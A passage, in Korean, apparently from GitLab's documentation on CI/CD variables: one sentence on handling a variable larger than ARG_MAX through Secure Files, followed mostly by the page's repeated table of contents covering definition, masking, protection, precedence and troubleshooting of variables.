단일 큰 변수가 ARG_MAX보다 큰 경우 Secure Files를 사용하거나 다른 메커니즘을 통해 작업에 파일을 가져옵니다.

GitLab CI/CD 변수

사전 정의된 CI/CD 변수

`.gitlab-ci.yml` 파일에서 CI/CD 변수 정의

단일 작업에서 전역 변수 생략

UI에서 CI/CD 변수 정의

프로젝트용

그룹용

인스턴스용

CI/CD 변수 보안

CI/CD 변수 마스킹

CI/CD 변수 보호

파일 유형 CI/CD 변수 사용

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용

작업 스크립트에서 CI/CD 변수 사용

Bash, `sh` 및 유사한 셸에서

PowerShell로

Windows Batch로

서비스 컨테이너 내에서

다른 작업에 환경 변수 전달하기

`dotenv` 변수를 수신할 작업 제어하기

하나의 변수에 여러 값을 저장

다른 변수에서 CI/CD 변수 사용

CI/CD 변수에서 `$` 문자 사용

CI/CD 변수 확장 방지

CI/CD 변수 우선 순위

정의된 CI/CD 변수 덮어쓰기

변수 재정의 권한 제한

변수 내보내기

관련 주제

문제 해결

모든 변수 목록

디버그 로깅 활성화

디버그 로깅 액세스 제한

알려진 문제 및 해결 방법

“argument list too long”

도움말

기능 사용 가능성과 제품 평가판

도움받기

GitLab CI/CD 변수

사전 정의된 CI/CD 변수

.gitlab-ci.yml 파일에서 CI/CD 변수 정의

단일 작업에서 전역 변수 생략

UI에서 CI/CD 변수 정의

프로젝트용

그룹용

인스턴스용

CI/CD 변수 보안

CI/CD 변수 마스킹

CI/CD 변수 보호

파일 유형 CI/CD 변수 사용

.gitlab-ci.yml 변수를 파일 유형 변수로 사용

작업 스크립트에서 CI/CD 변수 사용

Bash, sh 및 유사한 셸에서

PowerShell로

Windows Batch로

서비스 컨테이너 내에서

다른 작업에 환경 변수 전달하기

dotenv 변수를 수신할 작업 제어하기

하나의 변수에 여러 값을 저장

다른 변수에서 CI/CD 변수 사용

CI/CD 변수에서 $ 문자 사용

CI/CD 변수 확장 방지

CI/CD 변수 우선 순위

정의된 CI/CD 변수 덮어쓰기

변수 재정의 권한 제한

변수 내보내기

관련 주제

문제 해결

모든 변수 목록

디버그 로깅 활성화

디버그 로깅 액세스 제한

알려진 문제 및 해결 방법

“argument list too long”

도움말

기능 사용 가능성과 제품 평가판

도움받기

`.gitlab-ci.yml` 파일에서 CI/CD 변수 정의

`.gitlab-ci.yml` 변수를 파일 유형 변수로 사용

Bash, `sh` 및 유사한 셸에서

`dotenv` 변수를 수신할 작업 제어하기

CI/CD 변수에서 `$` 문자 사용